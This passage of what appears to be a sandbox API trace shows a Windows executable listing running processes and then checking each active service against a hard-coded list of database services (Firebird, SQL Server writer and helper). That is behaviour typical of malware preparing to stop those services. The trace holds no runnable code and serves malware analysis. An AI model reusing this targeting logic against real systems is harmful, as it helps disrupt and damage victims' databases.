hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.401] lstrlenW (lpString="svchost.exe") returned 11 [0201.401] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.402] lstrlenW (lpString="dwm.exe") returned 7 [0201.402] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.402] lstrlenW (lpString="svchost.exe") returned 11 [0201.402] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.403] lstrlenW (lpString="svchost.exe") returned 11 [0201.403] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.403] lstrlenW (lpString="svchost.exe") returned 11 [0201.403] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.403] lstrlenW (lpString="svchost.exe") returned 11 [0201.403] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.404] lstrlenW (lpString="svchost.exe") returned 11 [0201.404] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.404] lstrlenW (lpString="svchost.exe") returned 11 [0201.404] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.405] lstrlenW (lpString="svchost.exe") returned 11 [0201.405] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.405] lstrlenW (lpString="svchost.exe") returned 11 [0201.405] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.406] lstrlenW (lpString="svchost.exe") returned 11 [0201.406] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.406] lstrlenW (lpString="svchost.exe") returned 11 [0201.406] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.406] lstrlenW (lpString="spoolsv.exe") returned 11 [0201.407] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.407] lstrlenW (lpString="svchost.exe") returned 11 [0201.407] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.407] lstrlenW (lpString="audiodg.exe") returned 11 [0201.407] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0201.408] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0201.408] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0201.408] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0201.408] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0201.409] lstrlenW (lpString="Memory Compression") returned 18 [0201.409] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0201.409] lstrlenW (lpString="sihost.exe") returned 10 [0201.409] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.410] lstrlenW (lpString="svchost.exe") returned 11 [0201.410] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0201.410] lstrlenW (lpString="taskhostw.exe") returned 13 [0201.410] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0201.441] lstrlenW (lpString="msoia.exe") returned 9 [0201.444] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.444] lstrlenW (lpString="explorer.exe") returned 12 [0201.447] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0201.448] lstrlenW (lpString="SearchUI.exe") returned 12 [0201.448] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0201.449] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0201.449] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0201.449] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0201.449] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0201.449] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0201.449] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0201.450] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0201.450] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.450] lstrlenW (lpString="cmd.exe") returned 7 [0201.450] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.451] lstrlenW (lpString="conhost.exe") returned 11 [0201.451] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0201.451] lstrlenW (lpString="consent.exe") returned 11 [0201.451] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.452] lstrlenW (lpString="dllhost.exe") returned 11 [0201.452] Process32NextW (in: hSnapshot=0x568, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0201.452] CloseHandle (hObject=0x568) returned 1 [0201.452] Sleep (dwMilliseconds=0x1f4) [0202.067] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447b0f8 [0202.067] EnumServicesStatusExW (in: hSCManager=0x447b0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0202.067] GetLastError () returned 0xea [0202.067] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x54d0068 [0202.068] EnumServicesStatusExW (in: hSCManager=0x447b0f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54d0068, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54d0068, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0202.069] CloseServiceHandle (hSCObject=0x447b0f8) returned 1 [0202.069] lstrlenW (lpString="Appinfo") returned 7 [0202.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0202.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0202.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0202.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0202.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0202.069] lstrlenW (lpString="AppXSvc") returned 7 [0202.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0202.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0202.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0202.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0202.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0202.069] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0202.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0202.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0202.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0202.070] lstrlenW (lpString="Audiosrv") returned 8 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0202.070] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0202.070] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0202.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0202.070] lstrlenW (lpString="BFE") returned 3 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0202.070] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0202.070] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0202.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0202.070] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0202.070] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0202.070] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0202.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0202.070] lstrlenW (lpString="CDPSvc") returned 6 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0202.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0202.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0202.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0202.070] lstrlenW (lpString="ClickToRunSvc") returned 13 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0202.070] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0202.070] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0202.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0202.070] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0202.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0202.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0202.071] lstrlenW (lpString="CryptSvc") returned 8 [0202.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0202.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0202.071] lstrlenW (lpString="DcomLaunch") returned 10 [0202.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0202.071] lstrlenW (lpString="DeviceAssociationService") returned 24 [0202.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0202.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0202.071] lstrlenW (lpString="Dhcp") returned 4 [0202.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0202.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0202.071] lstrlenW (lpString="Dnscache") returned 8 [0202.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0202.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0202.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0202.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0202.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0202.071] lstrlenW (lpString="DPS") returned 3 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0202.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0202.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0202.072] lstrlenW (lpString="DusmSvc") returned 7 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0202.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0202.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0202.072] lstrlenW (lpString="EventLog") returned 8 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0202.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0202.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0202.072] lstrlenW (lpString="EventSystem") returned 11 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0202.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0202.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0202.072] lstrlenW (lpString="FontCache") returned 9 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0202.072] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0202.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0202.072] lstrlenW (lpString="gpsvc") returned 5 [0202.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0202.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0202.072] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0202.073] lstrlenW (lpString="iphlpsvc") returned 8 [0202.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.073] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0202.073] lstrlenW (lpString="KeyIso") returned 6 [0202.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0202.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0202.073] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0202.073] lstrlenW (lpString="LanmanServer") returned 12 [0202.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0202.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0202.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0202.073] lstrlenW (lpString="LanmanWorkstation") returned 17 [0202.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.073] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0202.073] lstrlenW (lpString="lfsvc") returned 5 [0202.073] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0202.073] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0202.073] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0202.073] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0202.073] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0202.073] lstrlenW (lpString="lmhosts") returned 7 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0202.074] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0202.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0202.074] lstrlenW (lpString="LSM") returned 3 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0202.074] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0202.074] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0202.074] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0202.074] lstrlenW (lpString="MpsSvc") returned 6 [0202.074] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0202.074] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 